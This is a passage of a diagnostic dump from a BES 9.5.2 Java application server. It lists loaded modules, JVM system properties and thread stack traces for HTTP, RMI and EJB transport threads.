nwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
|
java.vm.specification.version: 1.8
|
||||||
|
sun.cpu.endian: little
|
||||||
|
sun.os.patch.level: unknown
|
||||||
|
java.awt.headless: true
|
||||||
|
java.io.tmpdir: /tmp
|
||||||
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
|
server.loader:
|
||||||
|
os.arch: amd64
|
||||||
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
|
bes.version: 9.5.2
|
||||||
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
|
java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
|
||||||
|
user.dir: /opt/bes/conf
|
||||||
|
com.bes.enterprise.log.async.logger: true
|
||||||
|
line.separator:
|
||||||
|
|
||||||
|
java.vm.name: OpenJDK 64-Bit Server VM
|
||||||
|
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||||
|
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||||
|
file.encoding: UTF-8
|
||||||
|
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||||
|
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||||
|
com.bes.javaRoot: /usr/local/openjdk-8
|
||||||
|
java.specification.version: 1.8
|
||||||
|
javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks
|
||||||
|
javax.net.ssl.keyStorePassword: changeit
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
ThreadStacks:
|
||||||
|
"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4583538c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark-Acceptor" #83 [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||||
|
|
||||||
|
"AcceptorThread-8080-1" #77 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"SelectorReaderThread-1900-1" #73 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AcceptorThread-1900-1" #74 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"KeepAliveTimer" #58 daemon [TIMED_WAITING] on java.util.TaskQueue@321edd13
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@6d5ef7ef
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-8" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncTimeoutThread-8080" #78 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1161)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-1" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2146c838
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:268)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:233)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:224)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||||
|
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||||
|
at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:434)
|
||||||
|
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:565)
|
||||||
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-1" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_6" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Spark_7" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #81 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0f0d88
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-5" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Connection(2)-172.17.0.3" #97 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1879938894.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_5" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"RetryTimer" #52 daemon [WAITING] on java.util.TaskQueue@73084ccb
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-3" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-7" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI TCP Accept-6600" #92 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_0" #84 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64185d9a
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:68)
|
||||||
|
|
||||||
|
"Spark_1" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d08010
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #80 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark_4" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@65747f46
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||||
|
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||||
|
|
||||||
|
"httpWorkerThread-8080-2" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b60fd67
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
